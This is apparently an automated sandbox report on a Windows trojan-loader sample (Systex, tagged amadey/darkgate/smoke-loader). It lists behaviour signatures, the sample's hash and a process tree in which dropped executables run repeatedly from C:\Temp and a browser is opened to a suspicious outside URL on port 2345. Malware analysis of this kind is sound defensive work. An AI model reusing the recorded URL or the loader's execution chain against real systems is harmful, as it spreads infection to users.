Analysis
- max time kernel
149s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 12:26
General
- Target 2026-04-17_0c71af979f396a45c15bab23e7de597d_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260417-pmjf2sgx21
- SHA256 5444a3912a056a41b56b3ed4eec6c49db552b3aeb89aea182c0acff910e612f3
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 9 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 29 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-17_0c71af979f396a45c15bab23e7de597d_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-17_0c71af979f396a45c15bab23e7de597d_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ztrljebwuomgeywr.exeC:\Temp\ztrljebwuomgeywr.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbwtoeytr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\jdbwtoeytr.exeC:\Temp\jdbwtoeytr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbwtoeytr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jdbwtoeytr.exeC:\Temp\i_jdbwtoeytr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ytrljdbvto.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ytrljdbvto.exeC:\Temp\ytrljdbvto.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ytrljdbvto.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ytrljdbvto.exeC:\Temp\i_ytrljdbvto.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaytqlidb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\igaytqlidb.exeC:\Temp\igaytqlidb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaytqlidb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_igaytqlidb.exeC:\Temp\i_igaytqlidb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxvpnifays.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dxvpnifays.exeC:\Temp\dxvpnifays.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxvpnifays.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dxvpnifays.exeC:\Temp\i_dxvpnifays.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpnhfzxsmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vpnhfzxsmk.exeC:\Temp\vpnhfzxsmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpnhfzxsmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vpnhfzxsmk.exeC:\Temp\i_vpnhfzxsmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\icausmkfcx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\icausmkfcx.exeC:\Temp\icausmkfcx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_icausmkfcx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_icausmkfcx.exeC:\Temp\i_icausmkfcx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\urmkecwuom.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\urmkecwuom.exeC:\Temp\urmkecwuom.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_urmkecwuom.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_urmkecwuom.exeC:\Temp\i_urmkecwuom.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ebwuomgeyw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ebwuomgeyw.exeC:\Temp\ebwuomgeyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ebwuomgeyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ebwuomgeyw.exeC:\Temp\i_ebwuomgeyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljdbwtomg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rljdbwtomg.exeC:\Temp\rljdbwtomg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljdbwtomg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rljdbwtomg.exeC:\Temp\i_rljdbwtomg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\eywqolgeyw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\eywqolgeyw.exeC:\Temp\eywqolgeyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_eywqolgeyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_eywqolgeyw.exeC:\Temp\i_eywqolgeyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lfdyvqoiga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lfdyvqoiga.exeC:\Temp\lfdyvqoiga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lfdyvqoiga.exe ups_ins3⤵
-
C:\Temp\i_lfdyvqoiga.exeC:\Temp\i_lfdyvqoiga.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\yvqnifaysq.exe ups_run3⤵
-
C:\Temp\yvqnifaysq.exeC:\Temp\yvqnifaysq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_yvqnifaysq.exe ups_ins3⤵
-
C:\Temp\i_yvqnifaysq.exeC:\Temp\i_yvqnifaysq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kfdxvpnhfa.exe ups_run3⤵
-
C:\Temp\kfdxvpnhfa.exeC:\Temp\kfdxvpnhfa.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kfdxvpnhfa.exe ups_ins3⤵
-
C:\Temp\i_kfdxvpnhfa.exeC:\Temp\i_kfdxvpnhfa.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hcausmkfcx.exe ups_run3⤵
-
C:\Temp\hcausmkfcx.exeC:\Temp\hcausmkfcx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hcausmkfcx.exe ups_ins3⤵
-
C:\Temp\i_hcausmkfcx.exeC:\Temp\i_hcausmkfcx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpmhfzxrmk.exe ups_run3⤵
-
C:\Temp\rpmhfzxrmk.exeC:\Temp\rpmhfzxrmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpmhfzxrmk.exe ups_ins3⤵
-
C:\Temp\i_rpmhfzxrmk.exeC:\Temp\i_rpmhfzxrmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomhezx.exe ups_run3⤵
-
C:\Temp\ecwuomhezx.exeC:\Temp\ecwuomhezx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomhezx.exe ups_ins3⤵
-
C:\Temp\i_ecwuomhezx.exeC:\Temp\i_ecwuomhezx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomgezwro.exe ups_run3⤵
-
C:\Temp\wuomgezwro.exeC:\Temp\wuomgezwro.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomgezwro.exe ups_ins3⤵
-
C:\Temp\i_wuomgezwro.exeC:\Temp\i_wuomgezwro.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljdbwtomy.exe ups_run3⤵
-
C:\Temp\rljdbwtomy.exeC:\Temp\rljdbwtomy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljdbwtomy.exe ups_ins3⤵
-
C:\Temp\i_rljdbwtomy.exeC:\Temp\i_rljdbwtomy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgeywqoi.exe ups_run3⤵
-
C:\Temp\tolgeywqoi.exeC:\Temp\tolgeywqoi.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgeywqoi.exe ups_ins3⤵
-
C:\Temp\i_tolgeywqoi.exeC:\Temp\i_tolgeywqoi.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ff82441c188,0x7ff82441c194,0x7ff82441c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,12679331724569188076,13222702302289341114,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,6128048673215830304,10272185055288506154,262144 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,7628688884658014556,1956282726083478951,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3520,i,5786821067306106802,8679073123697974728,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3524,i,7844090083472655055,16494033826628080321,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4092,i,10228962687178638199,14637678414379682202,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4176,i,16748115264501442872,10194407892314742475,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4348,i,6307888887407068084,5606067401103531017,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4200,i,18045993020460882334,17151026940875791379,2097152 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5268,i,11124970114461426493,5924615022074901404,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5388,i,1515716039497628129,17576831305425830847,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5268,i,12263546119107589867,8750192485011734453,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4216,i,9766028620498744643,9023253640968829999,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,15684471239775190566,14394750993381912570,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:144⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11325⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,15065104473711225579,7619235336620681060,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,15065104473711225579,7619235336620681060,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,17696918242446882299,5303890516262432970,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,14081334815858276244,16585923741502838170,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:144⤵
-
-
